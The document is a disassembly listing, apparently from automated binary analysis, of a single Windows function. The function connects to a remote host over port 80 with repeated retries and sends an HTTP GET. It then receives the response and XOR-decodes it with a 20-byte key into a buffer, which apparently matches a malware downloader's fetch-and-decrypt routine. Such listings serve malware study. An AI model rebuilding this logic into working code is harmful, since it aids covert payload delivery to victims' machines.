Function at 0x100040a0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1088
call fcn.1000de20
mov eax, dword [0x1003802c]
xor eax, ebp
mov dword [ebp - 4], eax
call fcn.10003dc0
mov eax, dword [0x10038b8c]
cmp dword [eax], 0
jne 0x100040cb
call fcn.10003fd0
mov dword [ebp - 0x1084], 0x1000
mov dword [ebp - 0x105c], 0
mov ecx, dword [0x10038b8c]
mov edx, dword [ecx]
mov dword [ebp - 0x103c], edx
mov eax, 2
mov word [ebp - 0x1040], ax
push 0x50
call dword [0x1003aad4]
mov word [ebp - 0x103e], ax
push 0
push 1
push 2
call dword [0x1003aae8]
mov dword [ebp - 0x1044], eax
push 0x10
lea ecx, [ebp - 0x1040]
push ecx
mov edx, dword [ebp - 0x1044]
push edx
call dword [0x1003aae4]
mov dword [ebp - 0x105c], eax
cmp dword [ebp - 0x105c], 0
je 0x10004168
push 0x10
lea eax, [ebp - 0x1040]
push eax
mov ecx, dword [ebp - 0x1044]
push ecx
call dword [0x1003aae4]
mov dword [ebp - 0x105c], eax
push 0x3a98
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10004136
push 0x104
call fcn.1000d495
add esp, 4
mov dword [ebp - 0x1070], eax
mov edx, dword [ebp - 0x1070]
mov dword [ebp - 0x1068], edx
mov eax, dword [str.GET_http:__]
mov dword [ebp - 0x1c], eax
mov ecx, dword [0x1003303c]
mov dword [ebp - 0x18], ecx
mov edx, dword [0x10033040]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp + 8]
push eax
push 0x10038b11
mov ecx, dword [0x1003ab28]
push ecx
lea edx, [ebp - 0x1c]
push edx
push str._s_s_s_s_r_n
mov eax, dword [ebp - 0x1068]
push eax
call fcn.10001260
add esp, 0x18
mov ecx, dword [ebp - 0x1068]
mov dword [ebp - 0x106c], ecx
mov edx, dword [ebp - 0x106c]
mov dword [ebp - 0x1058], edx
mov eax, dword [ebp - 0x1058]
add eax, 1
mov dword [ebp - 0x1074], eax
mov ecx, dword [ebp - 0x1058]
mov dl, byte [ecx]
mov byte [ebp - 0x1045], dl
add dword [ebp - 0x1058], 1
cmp byte [ebp - 0x1045], 0
jne 0x100041f0
mov eax, dword [ebp - 0x1058]
sub eax, dword [ebp - 0x1074]
mov dword [ebp - 0x1078], eax
push 0
mov ecx, dword [ebp - 0x1078]
push ecx
mov edx, dword [ebp - 0x106c]
push edx
mov eax, dword [ebp - 0x1044]
push eax
call dword [0x1003aae0]
mov dword [ebp - 0x105c], eax
cmp dword [ebp - 0x105c], 0xffffffff
jne 0x10004260
mov ecx, dword [ebp - 0x1044]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x100044d0
push 0x1000
push 0
lea edx, [ebp - 0x1030]
push edx
call fcn.1000edf0
add esp, 0xc
mov dword [ebp - 0x1054], 0
mov dword [ebp - 0x1064], 0
mov dword [ebp - 0x1060], 1
mov dword [ebp - 0x1050], 0
mov dword [ebp - 0x1088], 3
push 0
push 0x1000
lea eax, [ebp - 0x1030]
push eax
mov ecx, dword [ebp - 0x1044]
push ecx
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 0x1054], eax
mov edx, dword [str.404_Not_F]
mov dword [ebp - 0x10], edx
mov eax, dword [0x10033054]
mov dword [ebp - 0xc], eax
mov cx, word [0x10033058]
mov word [ebp - 8], cx
lea edx, [ebp - 0x10]
push edx
lea eax, [ebp - 0x1030]
push eax
call fcn.1000be10
add esp, 8
mov dword [ebp - 0x107c], eax
cmp dword [ebp - 0x107c], 0
je 0x1000431b
mov ecx, dword [ebp - 0x1044]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x100044d0
cmp dword [ebp - 0x1060], 0
je 0x100043a9
cmp dword [ebp - 0x1054], 0
jg 0x10004345
mov edx, dword [ebp - 0x1044]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x100044d0
push 4
lea eax, [ebp - 0x1030]
push eax
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx + 4]
push edx
call fcn.10002d00
add esp, 0xc
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + 4]
mov edx, dword [ecx]
sub edx, 6
shr edx, 1
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + 4]
mov dword [ecx], edx
push 0x14
lea edx, [ebp - 0x1018]
push edx
lea eax, [ebp - 0x30]
push eax
call fcn.10002d00
add esp, 0xc
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx + 4]
mov eax, dword [edx]
push eax
call fcn.1000d495
add esp, 4
mov dword [ebp - 0x1080], eax
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 0x1080]
mov dword [ecx], edx
mov dword [ebp - 0x104c], 0
jmp 0x100043c4
mov eax, dword [ebp - 0x104c]
add eax, 1
mov dword [ebp - 0x104c], eax
mov ecx, dword [ebp - 0x104c]
cmp ecx, dword [ebp - 0x1054]
jge 0x1000443d
cmp dword [ebp - 0x1060], 0
je 0x100043ee
cmp dword [ebp - 0x104c], 0x2c
jne 0x100043ee
mov dword [ebp - 0x1050], 0
mov edx, dword [ebp - 0x1050]
movzx eax, byte [ebp + edx - 0x30]
mov ecx, dword [ebp - 0x104c]
movsx edx, byte [ebp + ecx - 0x1030]
xor edx, eax
mov eax, dword [ebp - 0x104c]
mov byte [ebp + eax - 0x1030], dl
mov ecx, dword [ebp - 0x1050]
add ecx, 1
mov dword [ebp - 0x1050], ecx
cmp dword [ebp - 0x1050], 0x14
jl 0x10004438
mov dword [ebp - 0x1050], 0
jmp 0x100043b5
mov dword [ebp - 0x1060], 0
mov edx, dword [ebp - 0x1054]
push edx
lea eax, [ebp - 0x1030]
push eax
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx]
add edx, dword [ebp - 0x1064]
push edx
call fcn.1000e870
add esp, 0xc
mov eax, dword [ebp - 0x1064]
add eax, dword [ebp - 0x1054]
mov dword [ebp - 0x1064], eax
push 0x1000
push 0
lea ecx, [ebp - 0x1030]
push ecx
call fcn.1000edf0
add esp, 0xc
cmp dword [ebp - 0x1054], 0
jg 0x100042a8
mov edx, dword [ebp - 0x1044]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + 4]
mov edx, dword [ecx]
sub edx, 0x2c
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + 4]
mov dword [ecx], edx
mov edx, dword [ebp + 0xc]
mov eax, dword [edx]
add eax, 0x2c
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000cf0a
mov esp, ebp
pop ebp
ret